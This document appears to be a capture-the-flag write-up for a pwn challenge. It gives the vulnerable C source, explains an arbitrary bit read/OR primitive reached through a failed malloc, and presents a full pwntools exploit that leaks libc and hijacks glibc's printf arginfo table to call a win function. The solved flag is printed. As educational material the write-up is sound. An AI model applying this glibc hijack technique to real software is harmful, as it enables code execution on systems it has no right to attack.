MAKE FLAGS GREAT AGAIN! HELP ME DEPORT THE ORANGES!
Last updated
checksec:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
Stripped: No
Here's the code of the program:
//gcc chal.c -Wl,-z,relro,-z,now -o chal -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int win(){
printf("Wow, you beat the deportation simulator!!! Have a flag!\n");
system("cat flag.txt");
_exit(0);
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
printf("========================================\n");
printf("| ORANGE DEPORTATION SIMULATOR |\n");
printf("========================================\n");
unsigned long long size;
printf("Enter the number of seats on the plane: ");
scanf("%lld", &size);
unsigned long long num_bytes = (size + 7) / 8;
uint8_t *bus = malloc(num_bytes);
int choice;
do {
printf("\nMenu:\n");
printf("1. Deport an orange\n");
printf("2. Check if the orange is being deported\n");
printf("3. Exit\n");
printf("Enter your choice: ");
scanf("%d", &choice);
if (choice == 1) {
unsigned long long seat;
printf("Enter the seat number (0 to %lld): ", size - 1);
scanf("%lld", &seat);
if (seat < 0 || seat >= size) {
printf("Invalid seat number!\n");
} else {
bus[seat / 8] |= (1 << (seat % 8));
printf("Seat filled.\n");
}
} else if (choice == 2) {
unsigned long long seat;
printf("Enter the seat number to check (0 to %lld): ", size - 1);
scanf("%lld", &seat);
if (seat < 0 || seat >= size) {
printf("Invalid seat number!\n");
} else {
if ((bus[seat / 8] & (1 << (seat % 8))) != 0) {
printf("Seat is occupied.\n");
} else {
printf("Seat is empty.\n");
}
}
} else if (choice != 3) {
printf("Invalid choice! Please try again.\n");
}
} while (choice != 3);
free(bus);
_exit(0);
}
Scanning through the program, we realise that it allows us to:
Malloc a chunk of any size we want only once
Check any bit of our malloc'd chunk to see if it is set
Perform an OR operation on any bit of the malloc'd chunk
Essentially, the seat number we provide is represented as:
(byte offset * 8) + bit_index
Where the byte offset is the byte we want to read/OR relative to the start address of the chunk, and bit_index is the bit within that byte that we want to read/OR.
The key vulnerability lies in the fact that we can provide an arbitrarily large size value, so large that when we do malloc(size), it returns a null pointer (0) due to it being unable to fulfill the request. This results in us having bus = 0. Inputting a negative number like -8 will achieve this.
When bus = 0 , and size is extremely large, notice that the read and OR functionality provided by the program essentially allows us to read and OR any bit we want in the program.
Now the only address we know is the binary's address since PIE is disabled. Therefore our goal is to call win using the binary as a starting point. Remember that we do not have an arbitrary write primitive, but we have arbitrary read and arbitrary OR.
We can use our arbitrary read to read any entry in the binary's .got.plt section in order to get a libc leak.
How can we execute the win function?
I initially considered overwriting the exit functions, but this won't work since the program calls _exit() instead of exit(), so the exit functions aren't called.
__printf_function_table and
__printf_arginfo_table
initially have all their bits set to 0, so an arbitrary OR primitive will allow us to redirect execution to the win function.
How do we do this?
On reading the article, we learn that __printf_function_table must have a non-null value, and __printf_arginfo_table must have our function's address written in one of its slots corresponding to the conversion specifier we are using. (in this case we are using %lld . The l type modifier doesn't matter, and d has a hex value of 0x64. So we want to write the address of win to __printf_arginfo_table + 0x64 * 8 ). The 8 is because each address is 64 bits / 8 bytes.
But how do we find the offsets of __printf_function_table and __printf_arginfo_table in libc? When I tried to find them by doing p & __printf_function_table in GDB it cannot find the symbol. To find the offset, we have to look at the code and assembly of the register_printf_specifier function in libc:
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter; // reference to __printf_function_table here
__printf_arginfo_table[spec] = arginfo; // reference to __printf_arginfo_table
out:
__libc_lock_unlock (lock);
return result;
}
And note that we actually have the symbol for the register_printf_specifier function:
pwndbg> p ®ister_printf_specifier
$1 = (<text variable, no debug info> *) 0x70c3a3af8870 <register_printf_specifier>
With this we can look at the assembly of register_printf_specifier, and try to infer the offsets of __printf_function_table and __printf_arginfo_table.
With this we can find that the offset of __printf_function_table is 0x1d4980 and the offset of __printf_arginfo_table is 0x1d3890.
Now let's summarise the exploit:
Enter a negative number as size to obtain bus = 0
Obtain a libc leak by using the arbitrary read primitive on the binary's .got.plt entry
Calculate the addresses of __printf_function_table and __printf_arginfo_table
Use arbitrary write to make __printf_function_table a non-null value and set the content in __printf_arginfo_table + 0x64 * 8 to be the address of the win function.
Trigger a printf again and execute the win function
Below is my script:
from pwn import *
# fill in binary name
elf = context.binary = ELF("./chal")
# fill in libc name
libc = ELF("./libc.so.6")
# fill in ld name
ld = ELF("./ld-linux-x86-64.so.2")
if args.REMOTE:
# fill in remote address
p = remote("34.124.170.181", 18809)
else:
p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})
def write_bit(addr, bit):
p.sendlineafter(b"choice: ", b"1")
seat = addr * 8 + bit
p.sendlineafter(b"): ", str(seat).encode())
def read_bit(addr, bit):
p.sendlineafter(b"choice: ", b"2")
curtarget = addr * 8 + bit
p.sendlineafter(b"): ", str(curtarget).encode())
# log.info(f"checking addr {hex(addr)} bit {bit}".encode())
res = p.recvline()
if b'empty' in res:
return 0
else:
return 1
p.sendlineafter(b"plane: ", b"-8")
LIBC_FREE = 0
TARGET_READ = 0x403fb0 # .got.plt of the free function
# overwriting got of free in libc WILL NOT WORK since it is already resolved
# overwriting exit funcs WILL NOT WORK since _exit is used
"""
goal: set __printf_function_table to non-null and write win func into __printf_arginfo_table
both are referenced by the <register_printf_specifier> function
-> this is the ptr to __printf_function_table 0x7ffff7e3a89a <register_printf_specifier+42>: mov rdx,QWORD PTR [rip+0x17c0df] # 0x7ffff7fb6980
0x7ffff7e3a8a1 <register_printf_specifier+49>: test rdx,rdx
0x7ffff7e3a8a4 <register_printf_specifier+52>: je 0x7ffff7e3a8d0 <register_printf_specifier+96>
-> this is the ptr to __printf_arginfo_table 0x7ffff7e3a8a6 <register_printf_specifier+54>: mov rax,QWORD PTR [rip+0x17afe3] # 0x7ffff7fb5890
0x7ffff7e3a8ad <register_printf_specifier+61>: mov QWORD PTR [rdx+rbx*8],r12
0x7ffff7e3a8b1 <register_printf_specifier+65>: mov QWORD PTR [rax+rbx*8],rbp
0x7ffff7e3a8b5 <register_printf_specifier+69>: xor ebx,ebx
0x7ffff7e3a8b7 <register_printf_specifier+71>: xor eax,eax
0x7ffff7e3a8b9 <register_printf_specifier+73>: xchg DWORD PTR [rip+0x17c0c9],eax # 0x7ffff7fb6988
0x7ffff7e3a8bf <register_printf_specifier+79>: cmp eax,0x1
0x7ffff7e3a8c2 <register_printf_specifier+82>: jg 0x7ffff7e3a900 <register_printf_specifier+144>
0x7ffff7e3a8c4 <register_printf_specifier+84>: mov eax,ebx
0x7ffff7e3a8c6 <register_printf_specifier+86>: pop rbx
0x7ffff7e3a8c7 <register_printf_specifier+87>: pop rbp
0x7ffff7e3a8c8 <register_printf_specifier+88>: pop r12
0x7ffff7e3a8ca <register_printf_specifier+90>: ret
0x7ffff7e3a8cb <register_printf_specifier+91>: nop DWORD PTR [rax+rax*1+0x0]
0x7ffff7e3a8d0 <register_printf_specifier+96>: mov esi,0x10
0x7ffff7e3a8d5 <register_printf_specifier+101>: mov edi,0x100
0x7ffff7e3a8da <register_printf_specifier+106>: call 0x7ffff7e08080 <calloc@plt>
pwndbg> x/32gx 0x7ffff7fb6980
0x7ffff7fb6980: 0x0000000000000000 0x0000000000000000
0x7ffff7fb6990: 0x0000000000000000 0x0000000000000000
"""
ctr = 0
# leak libc
for targetaddr in range(TARGET_READ, TARGET_READ + 8):
for i in range(8):
b = read_bit(targetaddr, i)
LIBC_FREE |= (b << ctr)
ctr += 1
log.success(f"libc_free: {hex(LIBC_FREE)}")
libc.address = LIBC_FREE - libc.sym['free']
log.success(f"libc addr: {hex(libc.address)}")
WIN = 0x401196
winbytes = p64(WIN)
PRINTF_FN_TABLE = libc.address + (0x7ffff7fb6980 - 0x7ffff7de2000)
PRINTF_ARGINFO_TABLE = libc.address + (0x7ffff7fb5890 - 0x7ffff7de2000)
# lld: 0x64 (because of d; the 'l' type modifier doesn't matter)
pl = p64(PRINTF_ARGINFO_TABLE)
# write the address of PRINTF_ARGINFO_TABLE into itself
for i in range(PRINTF_ARGINFO_TABLE, PRINTF_ARGINFO_TABLE+8):
curbyte = pl[i-PRINTF_ARGINFO_TABLE]
for j in range(8):
if curbyte & (1 << j):
write_bit(i, j)
# write address of win function into PRINTF_ARGINFO_TABLE + 0x64 * 8
TARGET = PRINTF_ARGINFO_TABLE + 0x64 * 8
for i in range(TARGET, TARGET+8):
curbyte = winbytes[i-TARGET]
for j in range(8):
if curbyte & (1 << j):
write_bit(i, j)
# set a bit at PRINTF_FN_TABLE to 1 so it is not NULL
write_bit(PRINTF_FN_TABLE, 0)
p.sendlineafter(b"choice: ", b"2") # trigger printf
p.interactive() # SSMCTF{0R4ngeS_D3porTEd_sUccessFu1Ly}
Upon reading this article it seems that printf custom conversion specifiers are the way to go, because the two things it relies on, namely: